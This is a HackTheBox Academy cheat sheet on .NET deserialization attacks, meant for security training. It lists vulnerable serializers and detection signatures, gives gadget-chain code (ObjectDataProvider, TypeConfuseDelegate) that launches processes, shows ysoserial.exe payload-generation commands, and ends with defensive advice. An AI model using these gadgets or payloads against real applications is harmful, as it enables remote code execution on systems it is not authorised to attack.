HACKTHEBOX

ADVANCED DESERIALIZATION ATTACKS

CHEAT SHEET

Identifying Deserialization Vulnerabilities

White-Box

Serializer	Example	Reference
BinaryFormatter	`.Deserialize(...)`	Microsoft
fastJSON	`JSON.ToObject(...)`	GitHub
JavaScriptSerializer	`.Deserialize(...)`	Microsoft
Json.NET	`JsonConvert.DeserializeObject(...)`	Newtonsoft
LosFormatter	`.Deserialize(...)`	Microsoft
NetDataContractSerializer	`.ReadObject(...)`	Microsoft
ObjectStateFormatter	`.Deserialize(...)`	Microsoft
SoapFormatter	`.Deserialize(...)`	Microsoft
XmlSerializer	`.Deserialize(...)`	Microsoft
YamlDotNet	`.Deserialize<...>(...)`	GitHub

Black-Box

For **.NET Applications** we can keep an eye out for the following:

- Base64-encoded strings beginning with `AAEAAAD/////`
- Strings containing `$type`
- Strings containg `__type`
- Strings containg `TypeObject`

Regarding **Java Applications**, the following cases are interesting:

- Bytes containing `AC ED 00 05`
- Base64-encoded string containg `rO0`

Exploiting Deserialization Vulnerabilities

ObjectDataProvider

```
using System.Windows.Data;

namespace ODPExample
{
    internal class Program
    {
        static void Main(string[] args)
        {
            ObjectDataProvider odp = new ObjectDataProvider();
            odp.ObjectType = typeof(System.Diagnostics.Process);
            odp.MethodParameters.Add("C:\\Windows\\System32\\cmd.exe");
            odp.MethodParameters.Add("/c calc.exe");
            odp.MethodName = "Start";
        }
    }
}
```

TypeConfuseDelegate

```
Delegate stringCompare = new Comparison<string>(string.Compare);
Comparison<string> multicastDelegate = (Comparison<string>) MulticastDelegate.Combine(stringCompare, stringCompare);
IComparer<string> comparisonComparer = Comparer<string>.Create(multicastDelegate);

FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList", BindingFlags.NonPublic | BindingFlags.Instance);
object[] invoke_list = multicastDelegate.GetInvocationList();
invoke_list[1] = new Func<string, string, Process>(Process.Start);
fi.SetValue(multicastDelegate, invoke_list);

SortedSet<string> sortedSet = new SortedSet<string>(comparisonComparer);
sortedSet.Add("/c calc");
sortedSet.Add("C:\\Windows\\System32\\cmd.exe");
```

YSoSerial.NET

- `-f` to specify the `Formatter`, e.g. `Json.NET`, `XmlSerializer`, `BinaryFormatter`
- `-g` to specify the `Gadget`, e.g. `ObjectDataProvider`, `TypeConfuseDelegate`
- `-c` to specify the `Command`, e.g. `calc`
- `-o` to specify the `Output` mode, e.g. `Base64` or `Raw` for plaintext

```
.\ysoserial.exe -f [Formatter] -g [Gadget] -c [Command] -o [Output]

E.g.:
.\ysoserial.exe -f Json.Net -g ObjectDataProvider -c "notepad" -o Raw
.\ysoserial.exe -f XmlSerializer -g ObjectDataProvider -c "notepad" -o Raw
.\ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c 'notepad' -o base64
```

Defending against Deserialization Vulnerabilities

1. Avoid Deserializing User Input
2. Avoid Unecessary Deserialization

3. Use Secure Serialization Mechanisms
4. Use Explicit Types
5. Use Signed Data
6. Least Possible Privileges

HTB ACADEMY CHEATSHEET
HTB ACADEMY CHEATSHEET